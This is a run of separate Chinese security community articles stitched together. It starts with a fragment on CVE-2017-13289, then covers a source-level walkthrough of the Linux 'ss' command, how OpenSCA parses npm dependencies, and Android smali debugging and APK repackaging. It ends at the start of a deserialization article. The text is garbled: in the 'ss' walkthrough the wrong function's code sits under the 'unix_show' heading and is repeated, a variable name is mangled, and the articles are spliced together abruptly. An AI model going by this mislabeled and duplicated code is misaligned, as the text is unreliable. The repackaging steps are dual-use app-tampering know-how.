CVE-2017-13289：6.0, 6.0.1, 7.0, 7.1.1, 7.1.2, 8.0, 8.1
## 修复方案
对于这类漏洞的修复非常简单，只需要保持写入读出的顺序和类型一致即可。
对于用户来说，想要避免此类攻击，应该尽快更新系统版本。 | 社区文章 |
**作者：spoock**
**来源：<https://blog.spoock.com/2019/07/06/ss-learn/>**
## 源代码调试
ss是位于iproute2这个库中，可以从[iproute2](https://github.com/CumulusNetworks/iproute2)上面下载到源代码，配置其源代码调试的方式和[netstat源代码调试](https://blog.spoock.com/2019/05/26/netstat-learn/)这篇文章一样. 在根目录下创建CMakeLists.txt文件，内容如下：
cmake_minimum_required(VERSION 3.13)
project(test C)
set(BUILD_DIR .)
#add_executable()
add_custom_target(ss command -c ${BUILD_DIR})
同时修改Makefile文件中的45行的 **CCOPTS = -O2** 为 **CCOPTS = -O0 -g3** 在clion中配置Target:
[
如此整个调试环境搭建完毕．
## 初步分析
在什么参数也没有的情况下，运行程序得到的结果如下:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
tcp ESTAB 0 0 127.0.0.1:57354 127.0.0.1:socks
tcp ESTAB 0 0 127.0.0.1:37350 127.0.0.1:socks
tcp ESTAB 0 0 172.16.40.154:43450 45.8.223.61:17250
tcp CLOSE-WAIT 1 0 127.0.0.1:57398 127.0.0.1:socks
tcp ESTAB 0 0 127.0.0.1:57062 127.0.0.1:socks
和直接运行ss命令得到的结果一样．接下来就是分析整个ss程序的执行流程
## main
main函数就是用于对各种选项进行解析，并以此判断执行什么函数．
int main(int argc, char *argv[])
{
int saw_states = 0;
int saw_query = 0;
int do_summary = 0;
const char *dump_tcpdiag = NULL;
FILE *filter_fp = NULL;
int ch;
int state_filter = 0;
int addrp_width, screen_width = 80;
while ((ch = getopt_long(argc, argv,
"dhaletuwxnro460spbEf:miA:D:F:vVzZN:KHS",
long_opts, NULL)) != EOF) {
switch (ch) {
case 'n':
resolve_services = 0;
break;
......
}
.....
}
在默认情况下，会进入到如下代码中
if (do_default) {
state_filter = state_filter ? state_filter : SS_CONN;
filter_default_dbs(＆current_filter);
}
程序会执行filter_default_dbs()函数，设置默认的过滤条件．
### filter_default_dbs
static void filter_default_dbs(struct filter *f) {
filter_db_set(f, UDP_DB);
filter_db_set(f, DCCP_DB);
filter_db_set(f, TCP_DB);
filter_db_set(f, RAW_DB);
filter_db_set(f, UNIX_ST_DB);
filter_db_set(f, UNIX_DG_DB);
filter_db_set(f, UNIX_SQ_DB);
filter_db_set(f, PACKET_R_DB);
filter_db_set(f, PACKET_DG_DB);
filter_db_set(f, NETLINK_DB);
filter_db_set(f, SCTP_DB);
}
filter_default_dbs很简单就是在默认情况下设置的过滤条件．
之后程序会执行到unix_show(¤t_filter);
## unix_show
函数代码如下:
static void filter_default_dbs(struct filter *f) {
filter_db_set(f, UDP_DB);
filter_db_set(f, DCCP_DB);
filter_db_set(f, TCP_DB);
filter_db_set(f, RAW_DB);
filter_db_set(f, UNIX_ST_DB);
filter_db_set(f, UNIX_DG_DB);
filter_db_set(f, UNIX_SQ_DB);
filter_db_set(f, PACKET_R_DB);
filter_db_set(f, PACKET_DG_DB);
filter_db_set(f, NETLINK_DB);
filter_db_set(f, SCTP_DB);
}
filter_default_dbs很简单就是在默认情况下设置的过滤条件．
之后程序会执行到unix_show(¤t_filter);
unix_show
函数代码如下:
unix_show Collapse source
static int unix_show(struct filter *f)
{
FILE *fp;
char buf[256];
char name[128];
int newformat = 0;
int cnt;
struct sockstat *list = NULL;
const int unix_state_map[] = { SS_CLOSE, SS_SYN_SENT,
SS_ESTABLISHED, SS_CLOSING };
if (!filter_af_get(f, AF_UNIX))
return 0;
if (!getenv("PROC_NET_UNIX") && !getenv("PROC_ROOT")
&& unix_show_netlink(f) == 0)
return 0;
if ((fp = net_unix_open()) == NULL)
return -1;
if (!fgets(buf, sizeof(buf), fp)) {
fclose(fp);
return -1;
}
if (memcmp(buf, "Peer", 4) == 0)
newformat = 1;
cnt = 0;
while (fgets(buf, sizeof(buf), fp)) {
struct sockstat *u, **insp;
int flags;
if (!(u = calloc(1, sizeof(*u))))
break;
if (sscanf(buf, "%x: %x %x %x %x %x %d %s",
&u->rport, &u->rq, &u->wq, &flags, &u->type,
&u->state, &u->ino, name) < 8)
name[0] = 0;
u->lport = u->ino;
u->local.family = u->remote.family = AF_UNIX;
if (flags & (1 << 16)) {
u->state = SS_LISTEN;
} else if (u->state > 0 &&
u->state <= ARRAY_SIZE(unix_state_map)) {
u->state = unix_state_map[u->state-1];
if (u->type == SOCK_DGRAM && u->state == SS_CLOSE && u->rport)
u->state = SS_ESTABLISHED;
}
if (unix_type_skip(u, f) ||
!(f->states & (1 << u->state))) {
free(u);
continue;
}
if (!newformat) {
u->rport = 0;
u->rq = 0;
u->wq = 0;
}
if (name[0]) {
u->name = strdup(name);
if (!u->name) {
free(u);
break;
}
}
if (u->rport) {
struct sockstat *p;
for (p = list; p; p = p->next) {
if (u->rport == p->lport)
break;
}
if (!p)
u->peer_name = "?";
else
u->peer_name = p->name ? : "*";
}
if (f->f) {
struct sockstat st = {
.local.family = AF_UNIX,
.remote.family = AF_UNIX,
};
memcpy(st.local.data, &u->name, sizeof(u->name));
if (strcmp(u->peer_name, "*"))
memcpy(st.remote.data, &u->peer_name,
sizeof(u->peer_name));
if (run_ssfilter(f->f, &st) == 0) {
free(u->name);
free(u);
continue;
}
}
insp = &list;
while (*insp) {
if (u->type < (*insp)->type ||
(u->type == (*insp)->type &&
u->ino < (*insp)->ino))
break;
insp = &(*insp)->next;
}
u->next = *insp;
*insp = u;
if (++cnt > MAX_UNIX_REMEMBER) {
while (list) {
unix_stats_print(list, f);
printf("\n");
unix_list_drop_first(&list);
}
cnt = 0;
}
}
fclose(fp);
while (list) {
unix_stats_print(list, f);
printf("\n");
unix_list_drop_first(&list);
}
return 0;
}
这个函数就是解析网络数据的核心函数．代码较多，还是分布分析这些代码．
### unix_show_netlink
if (!getenv("PROC_NET_UNIX") && !getenv("PROC_ROOT")
&& unix_show_netlink(f) == 0)
return 0;
* getenv判断PROC_NET_UNIX和PROC_ROOT是否存在
* unix_show_netlink(f) 创建netlink
追踪进入到unix_show_netlink()中
static int unix_show_netlink(struct filter *f)
{
DIAG_REQUEST(req, struct unix_diag_req r);
req.r.sdiag_family = AF_UNIX;
req.r.udiag_states = f->states;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
if (show_mem)
req.r.udiag_show |= UDIAG_SHOW_MEMINFO;
return handle_netlink_request(f, &req.nlh, sizeof(req), unix_show_sock);
}
f是一个filter，用于设置一些简单的过滤条件．
req.r.sdiag_family = AF_UNIX;
req.r.udiag_states = f->states;
req.r.udiag_show = UDIAG_SHOW_NAME | UDIAG_SHOW_PEER | UDIAG_SHOW_RQLEN;
是用于设置diag_net的netlink的请求头，之后调用handle_netlink_request(f, &req.nlh, sizeof(req),
unix_show_sock);
### handle_netlink_request
跟踪进入到handle_netlink_request的实现
static int handle_netlink_request(struct filter *f, struct nlmsghdr *req,
size_t size, rtnl_filter_t show_one_sock)
{
int ret = -1;
struct rtnl_handle rth;
if (rtnl_open_byproto(&rth, 0, NETLINK_SOCK_DIAG))
return -1;
rth.dump = MAGIC_SEQ;
if (rtnl_send(&rth, req, size) < 0)
goto Exit;
if (rtnl_dump_filter(&rth, show_one_sock, f))
goto Exit;
ret = 0;
Exit:
rtnl_close(&rth);
return ret;
}
* 调用rtnl_send(&rth, req, size)用于发送diag_net的netlink的消息头．
* rtnl_dump_filter(&rth, show_one_sock, f) 获取netlink的返回消息，回调show_one_sock()函数．
#### rtnl_send
跟踪进入到lib/libnetlink.c
int rtnl_send(struct rtnl_handle *rth, const void *buf, int len)
{
return send(rth->fd, buf, len, 0);
}
rtnl_send直接调用send()方法发送信息．
#### rtnl_dump_filter
跟踪进入到lib/libnetlink.c
int rtnl_dump_filter_nc(struct rtnl_handle *rth,
rtnl_filter_t filter,
void *arg1, __u16 nc_flags)
{
const struct rtnl_dump_filter_arg a[2] = {
{ .filter = filter, .arg1 = arg1, .nc_flags = nc_flags, },
{ .filter = NULL, .arg1 = NULL, .nc_flags = 0, },
};
return rtnl_dump_filter_l(rth, a);
}
在rtnl_dump_filter_nc()中设置rtnl_dump_filter_arg过滤函数，之后调用rtnl_dump_filter_l()
int rtnl_dump_filter_l(struct rtnl_handle *rth,
const struct rtnl_dump_filter_arg *arg)
{
struct sockaddr_nl nladdr;
struct iovec iov;
struct msghdr msg = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
char buf[32768];
int dump_intr = 0;
iov.iov_base = buf;
while (1) {
int status;
const struct rtnl_dump_filter_arg *a;
int found_done = 0;
int msglen = 0;
iov.iov_len = sizeof(buf);
status = recvmsg(rth->fd, &msg, 0);
if (status < 0) {
if (errno == EINTR || errno == EAGAIN)
continue;
fprintf(stderr, "netlink receive error %s (%d)\n",
strerror(errno), errno);
return -1;
}
if (status == 0) {
fprintf(stderr, "EOF on netlink\n");
return -1;
}
if (rth->dump_fp)
fwrite(buf, 1, NLMSG_ALIGN(status), rth->dump_fp);
for (a = arg; a->filter; a++) {
struct nlmsghdr *h = (struct nlmsghdr *)buf;
msglen = status;
while (NLMSG_OK(h, msglen)) {
int err = 0;
h->nlmsg_flags &= ~a->nc_flags;
if (nladdr.nl_pid != 0 ||
h->nlmsg_pid != rth->local.nl_pid ||
h->nlmsg_seq != rth->dump)
goto skip_it;
if (h->nlmsg_flags & NLM_F_DUMP_INTR)
dump_intr = 1;
if (h->nlmsg_type == NLMSG_DONE) {
err = rtnl_dump_done(h);
if (err < 0)
return -1;
found_done = 1;
break; /* process next filter */
}
if (h->nlmsg_type == NLMSG_ERROR) {
rtnl_dump_error(rth, h);
return -1;
}
if (!rth->dump_fp) {
err = a->filter(&nladdr, h, a->arg1);
if (err < 0)
return err;
}
skip_it:
h = NLMSG_NEXT(h, msglen);
}
}
if (found_done) {
if (dump_intr)
fprintf(stderr,
"Dump was interrupted and may be inconsistent.\n");
return 0;
}
if (msg.msg_flags & MSG_TRUNC) {
fprintf(stderr, "Message truncated\n");
continue;
}
if (msglen) {
fprintf(stderr, "!!!Remnant of size %d\n", msglen);
exit(1);
}
}
}
rtnl_dump_filter_l()实现了通过netlink获取数据，然后根据rtnl_dump_filter_arg过滤数据．
获取数据：
struct sockaddr_nl nladdr;
struct iovec iov;
struct msghdr msg = {
.msg_name = &nladdr,
.msg_namelen = sizeof(nladdr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
.....
status = recvmsg(rth->fd, &msg, 0);
过滤数据:
for (a = arg; a->filter; a++) {
struct nlmsghdr *h = (struct nlmsghdr *)buf;
.....
h->nlmsg_flags &= ~a->nc_flags;
if (nladdr.nl_pid != 0 ||
h->nlmsg_pid != rth->local.nl_pid ||
h->nlmsg_seq != rth->dump)
goto skip_it;
if (h->nlmsg_flags & NLM_F_DUMP_INTR)
dump_intr = 1;
if (h->nlmsg_type == NLMSG_DONE) {
err = rtnl_dump_done(h);
if (err < 0)
return -1;
found_done = 1;
break; /* process next filter */
}
.......
之前说过，handle_netlink_request(f, &req.nlh, sizeof(req), unix_show_sock);
程序最终会回调unix_show_sock函数．
### unix_show_sock
跟踪unix_show_sock的实现
static int unix_show_sock(const struct sockaddr_nl *addr, struct nlmsghdr *nlh,
void *arg)
{
struct filter *f = (struct filter *)arg;
struct unix_diag_msg *r = NLMSG_DATA(nlh);
struct rtattr *tb[UNIX_DIAG_MAX+1];
char name[128];
struct sockstat stat = { .name = "*", .peer_name = "*" };
parse_rtattr(tb, UNIX_DIAG_MAX, (struct rtattr *)(r+1),
nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*r)));
stat.type = r->udiag_type;
stat.state = r->udiag_state;
stat.ino = stat.lport = r->udiag_ino;
stat.local.family = stat.remote.family = AF_UNIX;
if (unix_type_skip(&stat, f))
return 0;
if (tb[UNIX_DIAG_RQLEN]) {
struct unix_diag_rqlen *rql = RTA_DATA(tb[UNIX_DIAG_RQLEN]);
stat.rq = rql->udiag_rqueue;
stat.wq = rql->udiag_wqueue;
}
if (tb[UNIX_DIAG_NAME]) {
int len = RTA_PAYLOAD(tb[UNIX_DIAG_NAME]);
memcpy(name, RTA_DATA(tb[UNIX_DIAG_NAME]), len);
name[len] = '\0';
if (name[0] == '\0') {
int i;
for (i = 0; i < len; i++)
if (name[i] == '\0')
name[i] = '@';
}
stat.name = &name[0];
memcpy(stat.local.data, &stat.name, sizeof(stat.name));
}
if (tb[UNIX_DIAG_PEER])
stat.rport = rta_getattr_u32(tb[UNIX_DIAG_PEER]);
if (f->f && run_ssfilter(f->f, &stat) == 0)
return 0;
unix_stats_print(&stat, f);
if (show_mem)
print_skmeminfo(tb, UNIX_DIAG_MEMINFO);
if (show_details) {
if (tb[UNIX_DIAG_SHUTDOWN]) {
unsigned char mask;
mask = rta_getattr_u8(tb[UNIX_DIAG_SHUTDOWN]);
printf(" %c-%c", mask & 1 ? '-' : '<', mask & 2 ? '-' : '>');
}
}
printf("\n");
return 0;
}
* `struct unix_diag_msg *r = NLMSG_DATA(nlh); parse_rtattr(tb, UNIX_DIAG_MAX, (struct rtattr *)(r+1),nlh->nlmsg_len - NLMSG_LENGTH(sizeof(*r)));` 获取netlink的数据
* 解析数据并赋值
``` stat.type = r->udiag_type; stat.state = r->udiag_state; stat.ino =
stat.lport = r->udiag_ino; stat.local.family = stat.remote.family = AF_UNIX;
* * *
stat.rq = rql->udiag_rqueue; stat.wq = rql->udiag_wqueue; ```
#### unix_stats_print
`unix_stats_print(&stat, f);` 获取网络的连接状态
static void unix_stats_print(struct sockstat *s, struct filter *f)
{
char port_name[30] = {};
sock_state_print(s);
sock_addr_print(s->name ?: "*", " ",
int_to_str(s->lport, port_name), NULL);
sock_addr_print(s->peer_name ?: "*", " ",
int_to_str(s->rport, port_name), NULL);
proc_ctx_print(s);
}
#### sock_state_print
跟踪进入到sock_state_print()中
static void sock_state_print(struct sockstat *s)
{
const char *sock_name;
static const char * const sstate_name[] = {
"UNKNOWN",
[SS_ESTABLISHED] = "ESTAB",
[SS_SYN_SENT] = "SYN-SENT",
[SS_SYN_RECV] = "SYN-RECV",
[SS_FIN_WAIT1] = "FIN-WAIT-1",
[SS_FIN_WAIT2] = "FIN-WAIT-2",
[SS_TIME_WAIT] = "TIME-WAIT",
[SS_CLOSE] = "UNCONN",
[SS_CLOSE_WAIT] = "CLOSE-WAIT",
[SS_LAST_ACK] = "LAST-ACK",
[SS_LISTEN] = "LISTEN",
[SS_CLOSING] = "CLOSING",
};
switch (s->local.family) {
case AF_UNIX:
sock_name = unix_netid_name(s->type);
break;
case AF_INET:
case AF_INET6:
sock_name = proto_name(s->type);
break;
case AF_PACKET:
sock_name = s->type == SOCK_RAW ? "p_raw" : "p_dgr";
break;
case AF_NETLINK:
sock_name = "nl";
break;
default:
sock_name = "unknown";
}
if (netid_width)
printf("%-*s ", netid_width,
is_sctp_assoc(s, sock_name) ? "" : sock_name);
if (state_width) {
if (is_sctp_assoc(s, sock_name))
printf("`- %-*s ", state_width - 3,
sctp_sstate_name[s->state]);
else
printf("%-*s ", state_width, sstate_name[s->state]);
}
printf("%-6d %-6d ", s->rq, s->wq);
}
根据s→local.family分别输出对应的内容，代码就不做过多的解释了，就是简单的switch case的判断．全部执行完毕之后，输出的结果是:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
u_seq ESTAB 0 0 @00017 309855 * 309856
可以发现其实在ss的默认输出情况下也是没有pid信息．如果我们采用`ss -p`，结果是:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
u_seq ESTAB 0 0 @00017 309855 * 309856 users:(("code",pid=17009,fd=17))
u_seq ESTAB 0 0 @00012 157444 * 157445 users:(("chrome",pid=5834,fd=10))
### user_ent_hash_build
当我们加了-p参数之后，程序运行的结果：
case 'p':
show_users++;
user_ent_hash_build();
break;
show_users的值变为１，程序接着执行 user_ent_hash_build()
static void user_ent_hash_build(void)
{
const char *root = getenv("PROC_ROOT") ? : "/proc/";
struct dirent *d;
char name[1024];
int nameoff;
DIR *dir;
char *pid_context;
char *sock_context;
const char *no_ctx = "unavailable";
static int user_ent_hash_build_init;
/* If show_users & show_proc_ctx set only do this once */
if (user_ent_hash_build_init != 0)
return;
user_ent_hash_build_init = 1;
strlcpy(name, root, sizeof(name));
if (strlen(name) == 0 || name[strlen(name)-1] != '/')
strcat(name, "/");
nameoff = strlen(name);
dir = opendir(name);
if (!dir)
return;
while ((d = readdir(dir)) != NULL) {
struct dirent *d1;
char process[16];
char *p;
int pid, pos;
DIR *dir1;
char crap;
if (sscanf(d->d_name, "%d%c", &pid, &crap) != 1)
continue;
if (getpidcon(pid, &pid_context) != 0)
pid_context = strdup(no_ctx);
snprintf(name + nameoff, sizeof(name) - nameoff, "%d/fd/", pid);
pos = strlen(name);
if ((dir1 = opendir(name)) == NULL) {
free(pid_context);
continue;
}
process[0] = '\0';
p = process;
while ((d1 = readdir(dir1)) != NULL) {
const char *pattern = "socket:[";
unsigned int ino;
char lnk[64];
int fd;
ssize_t link_len;
char tmp[1024];
if (sscanf(d1->d_name, "%d%c", &fd, &crap) != 1)
continue;
snprintf(name+pos, sizeof(name) - pos, "%d", fd);
link_len = readlink(name, lnk, sizeof(lnk)-1);
if (link_len == -1)
continue;
lnk[link_len] = '\0';
if (strncmp(lnk, pattern, strlen(pattern)))
continue;
sscanf(lnk, "socket:[%u]", &ino);
snprintf(tmp, sizeof(tmp), "%s/%d/fd/%s",
root, pid, d1->d_name);
if (getfilecon(tmp, &sock_context) <= 0)
sock_context = strdup(no_ctx);
if (*p == '\0') {
FILE *fp;
snprintf(tmp, sizeof(tmp), "%s/%d/stat",
root, pid);
if ((fp = fopen(tmp, "r")) != NULL) {
if (fscanf(fp, "%*d (%[^)])", p) < 1)
; /* ignore */
fclose(fp);
}
}
user_ent_add(ino, p, pid, fd,
pid_context, sock_context);
free(sock_context);
}
free(pid_context);
closedir(dir1);
}
closedir(dir);
}
这个解析方法与netstat中的prg_cache_load的方式类似．都是解析/proc/pid/fd下面的内容获得socket的inode编号．得到pid,inode和fd之后，调用user_ent_add()方法．
#### user_ent_add
static void user_ent_add(unsigned int ino, char *process,
int pid, int fd,
char *proc_ctx,
char *sock_ctx)
{
struct user_ent *p, **pp;
p = malloc(sizeof(struct user_ent));
if (!p) {
fprintf(stderr, "ss: failed to malloc buffer\n");
abort();
}
p->next = NULL;
p->ino = ino;
p->pid = pid;
p->fd = fd;
p->process = strdup(process);
p->process_ctx = strdup(proc_ctx);
p->socket_ctx = strdup(sock_ctx);
pp = &user_ent_hash[user_ent_hashfn(ino)];
p->next = *pp;
*pp = p;
}
获取inode,pid和fd信息，最终组成一个链表．
#### proc_ctx_print
程序在输出结果的时候，调用proc_ctx_print()
static void proc_ctx_print(struct sockstat *s)
{
char *buf;
if (show_proc_ctx || show_sock_ctx) {
if (find_entry(s->ino, &buf,
(show_proc_ctx & show_sock_ctx) ?
PROC_SOCK_CTX : PROC_CTX) > 0) {
printf(" users:(%s)", buf);
free(buf);
}
} else if (show_users) {
if (find_entry(s->ino, &buf, USERS) > 0) {
printf(" users:(%s)", buf);
free(buf);
}
}
}
如果show_users>0，执行find_entry(0，根据inode编号找到对应进程的信息：
#### find_entry
static int find_entry(unsigned int ino, char **buf, int type)
{
struct user_ent *p;
int cnt = 0;
char *ptr;
char *new_buf;
int len, new_buf_len;
int buf_used = 0;
int buf_len = 0;
if (!ino)
return 0;
p = user_ent_hash[user_ent_hashfn(ino)];
ptr = *buf = NULL;
while (p) {
if (p->ino != ino)
goto next;
while (1) {
ptr = *buf + buf_used;
switch (type) {
case USERS:
len = snprintf(ptr, buf_len - buf_used,
"(\"%s\",pid=%d,fd=%d),",
p->process, p->pid, p->fd);
break;
case PROC_CTX:
len = snprintf(ptr, buf_len - buf_used,
"(\"%s\",pid=%d,proc_ctx=%s,fd=%d),",
p->process, p->pid,
p->process_ctx, p->fd);
break;
case PROC_SOCK_CTX:
len = snprintf(ptr, buf_len - buf_used,
"(\"%s\",pid=%d,proc_ctx=%s,fd=%d,sock_ctx=%s),",
p->process, p->pid,
p->process_ctx, p->fd,
p->socket_ctx);
break;
default:
fprintf(stderr, "ss: invalid type: %d\n", type);
abort();
}
if (len < 0 || len >= buf_len - buf_used) {
new_buf_len = buf_len + ENTRY_BUF_SIZE;
new_buf = realloc(*buf, new_buf_len);
if (!new_buf) {
fprintf(stderr, "ss: failed to malloc buffer\n");
abort();
}
*buf = new_buf;
buf_len = new_buf_len;
continue;
} else {
buf_used += len;
break;
}
}
cnt++;
next:
p = p->next;
}
if (buf_used) {
ptr = *buf + buf_used;
ptr[-1] = '\0';
}
return cnt;
}
通过遍历p = user_ent_hash[user_ent_hashfn(ino)]; 这个链表得到得到所有的节点．然后利用
p = user_ent_hash[user_ent_hashfn(ino)];
ptr = *buf = NULL;
while (p) {
if (p->ino != ino)
goto next;
如果遍历得到inode相等，那么就说明找到了pid，最终输出的结果如下:
switch (type) {
case USERS:
len = snprintf(ptr, buf_len - buf_used,
"(\"%s\",pid=%d,fd=%d),",
p->process, p->pid, p->fd);
break;
最终输出的结果是:
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
u_seq ESTAB 0 0 @00017 309855 * 309856 users:(("code",pid=17009,fd=17))
## 总结
由于`ss`和`netstat`数据获取的方式不同，导致在执行效率上面存在很大的差别．`ss`和`netstat`这两种方式也我我们需要获取主机上面的网络数据提供了一个很好的思路．
* * * | 社区文章 |
本文主要介绍基于npm包管理器的组件成分解析原理。
# npm介绍
npm(全称Node Package Manager)是Node.js标准的软件包管理器。
npm的依赖管理文件是package.json，开发者可以在package.json中指定每个依赖项的版本范围。
如果一个项目中存在package.json文件，便可以执行npm install命令自动安装和维护当前项目所需的所有模块并生成package-lock.json文件。
package.json完整文件结构如下：
{
"name": "screeps",
"version": "1.0.0",
"description": "",
"main": "index.js",
"scripts": {
"push": "rollup -cw --environment DEST:main",
"build": "rollup -cw --environment DEST:local",
},
"keywords": [],
"author": "",
"license": "ISC",
"devDependencies": {
"@rollup/plugin-commonjs": "^21.0.1",
"@rollup/plugin-node-resolve": "^13.1.1",
"@types/lodash": "^3.10.1",
"@types/screeps": "^3.2.4",
"rollup": "^2.61.1",
"rollup-plugin-clear": "^2.0.7",
"rollup-plugin-copy": "^3.4.0",
"rollup-plugin-screeps": "^1.0.1",
"rollup-plugin-typescript2": "^0.31.1",
"typescript": "^4.5.4"
},
"dependencies": {
"source-map": "^0.6.1"
}
}
其中name为项目名，version为项目版本，license为项目声明的许可证，devDependencies为开发环境使用的依赖，dependencies为生产环境使用的依赖。
依赖写法为"name":"version"，版本可以指定准确版本或一个范围，范围需遵循semver语义化版本规范（详见：<https://semver.org/）。>
# 解析算法
## package-lock.json
package-lock.json是在npm install时自动生成的文件，用以记录当前状态下实际安装的各个npm
package的具体来源和版本号，通过该文件可以准确定位到npm项目的依赖及版本。所以优先解析package-lock.json文件。
package-lock.json文件结构如下：
{
"name": "foo",
"version": "1.0.0",
"dependencies": {
"b": {
"version": "1.2.1"
},
"a": {
"version": "2.1.5",
"requires": {
"b": "^1.1.9"
}
},
"c": {
"version": "1.3.1",
"requires": {
"b": "^1.2.0"
}
}
}
}
其中name字段为项目名称，version字段为项目版本。dependencies字段中包含项目使用的所有直接和间接依赖，而且记录了组件间的依赖关系。
例如：
"b": {
"version": "1.2.1"
},
代表组件b的版本号为1.2.1。
"a": {
"version": "2.1.5",
"requires": {
"b": "^1.1.9"
}
},
代表项目依赖2.1.5版本的组件a，该组件依赖版本约束为^1.1.9的组件b。
同理可知项目依赖1.3.1版本的组件c，该组件依赖版本约束为^1.2.0的组件b。
从 **< package-lock.json文件结构>**可看出组件a和组件c都没有被其他组件所依赖，所以可知这两个组件是项目的直接依赖。
仅通过package-lock.json无法确定组件b是否是直接依赖，可以结合package.json文件进一步确定，没有package.json时，将b当作间接依赖处理。若一个组件同时为直接和间接依赖，按直接依赖处理。
注：
* ^1.1.9代表版本号需要>=1.1.9且<2.0.0；
* ^1.2.0代表版本号需要>=1.2.0且<2.0.0；
* 更多约束格式请参阅semver官网
由此可以构建出当前项目的依赖结构：
实线代表直接依赖，虚线代表间接依赖。
## package.json
package.json为开发者编写管理的依赖管理文件，在未找到package-lock.json文件时将解析该文件。
package.json仅包含直接依赖，在项目构建时会从npm仓库下载需要的间接依赖并构建为package-lock.json文件，因此可以模拟npm构建流程来获取项目引用的组件依赖。
package.json文件结构如下：
{
"name": "foo",
"version": "1.0.0",
"devDependencies": {
"a": "^2.0.0"
},
"dependencies": {
"c": "^1.1.0"
}
}
dependencies为项目实际使用的直接依赖，devDependencies为项目开发时使用的直接依赖。
例如：
"devDependencies": {
"a": "^2.0.0"
}
代表项目开发过程中依赖版本约束为^2.0.0的组件a。
"dependencies": {
"c": "^1.1.0"
}
代表项目直接依赖版本约束为^1.1.0组件c。
分析到这里我们可以总结出如下图依赖关系：
通过该依赖关系可以看出项目组件的直接依赖及组件的版本范围，但无法得知组件依赖的具体版本。
在没有package-lock.json文件的情况下，为了进一步获取依赖的准确版本及间接依赖，需要从npm仓库下载对应组件的详细信息。
例如组件a的详细信息结构为：
{
"time": {
"2.1.5": "2011-02-16T22:31:02.088Z",
"3.1.1": "2011-04-10T12:23:22.088Z"
},
"versions": {
"2.1.5": {
"dependencies": {
"b": "^1.1.9"
}
},
"3.1.1": {
"dependencies": {
"b": "^2.2.0"
}
}
}
}
其中time字段为组件所有版本及发布日期，根据约束从这里获取约束范围内的最大版本。
versions字段为组件各个版本对应的详细信息，其中dependencies字段为组件的依赖信息。
对于本例来说，组件a的约束为^2.0.0，要求版本号>=2.0.0且<3.0.0，所以选择2.1.5版本。因此组件依赖结构就变成了：
按照这种方式层级解析便可获取整个项目的依赖信息。
* * *
感谢每一位开源社区成员对OpenSCA的支持和贡献。
OpenSCA的代码会在GitHub和Gitee持续迭代，欢迎Star和PR，成为我们的开源贡献者，也可提交问题或建议至Issues。我们会参考大家的建议不断完善OpenSCA开源项目，敬请期待更多功能的支持。
GitHub：
<https://github.com/XmirrorSecurity/OpenSCA-cli/releases>
Gitee：
<https://gitee.com/XmirrorSecurity/OpenSCA-cli/releases>
OpenSCA官网：
<https://opensca.xmirror.cn/> | 社区文章 |
### smali语法简单介绍
1. invoke-statio 执行函数
2. move-result-object v1 执行结果放在v1
3. invoke-virtual 执行一些函数存在返回值
4. const-string v0 .. 定义变量v0=什么
> 简单记录下问题当突然adb找不到设备的时候可以执行adb kill-server and start-server一般就能够解决
### 关于smali的调试
###### first
`apktools d .apk`（反编译出安卓smail包，因为很多教程是用安卓killer但是我是mac系统所以也就用了apktools。
###### second
1. 把其中的smail包改名为src然后放到别的文件中
1. 打开android studio（这里我用的版本是3.3目前最新的，已经移除了android devices monitor，之前因为这个问题搞了好久）。把文件导入到其中。
这里一路点下去就行，选择create project选项即可。然后点开如下图即可。
1. 然后打开android设备，这里我用的是网易mumu浏览器。利用adb命令输入`adb shell am start -D -n hfdcxy.com.myapplication/hfdcxy.com.myapplication.MainActivity`会开启调试模式
1. 按照之前我看见的大佬的套路这部基本就是打开Android Devices monitor进行查看Oline值。但是我相信很多小白都遇到过找不到monitor（安装最新版后），我就是其中之一所以我选择利用命令行操作。==提示这里所谓的online值其实程序的PID值==(这里我用的是`netstat -p`因为我不太熟悉他的名字，如果读者熟悉名字可用ps | grep 名字)
接着执行命令进行一个端口的转发(tcp为之后我们remote的端口，jdwp在monitor里脚online值这里就是pid，端口可以任意转变)
`adb forward tcp:8700 jdwp:1599`(其中可能会有些端口占用问题换一个就可以了)
1. 接下来继续在AS中设置先设置端口,然后设置名字，接着改端口既可以ok了。
1. 接着设置`File->project structs`,接着设置sdk即可。
1. 下断点然后运行调试,接下来就完成了设置和调试了。
#### 在smali文件中插入log
简单记录一下利用apktools的整个过程。
`apktool b 反编译后的文件夹 -o 生成apk名称.apk`
`jarsigner -verbose -keystore 签名名称 -signedjar 签名后Apk.apk 需要签名Apk.apk 签名别名`
##### 简单演示
###### 打印字符串
反编译出smali文件。利用log打印来获取我们所想要的信息。
1. 这里我写了一个switch语句，读者可以自己也写一个试试，然后利用log打印一些信息。
1. 反编译成smali查看,这里就不多说其中的语法细节了，可以看见存在一个log信息打印的段，接下来我们复制这个段并且更改其中的数据。
1. 这个时候编译回去并且进行签名安装，这个时候利用adb指令`adb logcat | grep "Hello"`就可以查看我们改过的程序的log信息。
> 可以发现我们已经成功打印了！
###### 打印寄存器信息
这里是比较有用的操作了。
1. 首先写一个Demo来测试
1. 还是一样的套路查看一下smail文件来进行打印
1. 接下来我加入几句话来进行一个fun2 和fun3参数的打印
1. 接下来一波编译签名安装看看我们修改成功了没。就大功告成了。
#### 总结
入门安卓分享记录下自己的学习心得，大佬勿喷。
参考链接：
<https://www.52pojie.cn/thread-658865-1-1.html> | 社区文章 |
>
> 关于反序列化漏洞分析及利用研究的文章不少，但鲜有检测及修复方面的介绍，本文旨站在应用安全的角度，从安全编码、代码审计、漏洞检测及修复方案对反序列化漏洞进行详细分享。
### 概述
序列化是让Java对象脱离Java运行环境的一种手段，可以有效的实现多平台之间的通信、对象持久化存储。
Java 序列化是指把 Java 对象转换为字节序列的过程便于保存在内存、文件、数据库中，ObjectOutputStream类的
writeObject() 方法可以实现序列化。反序列化是指把字节序列恢复为 Java 对象的过程，ObjectInputStream 类的
readObject() 方法用于反序列化。
#### 漏洞成因
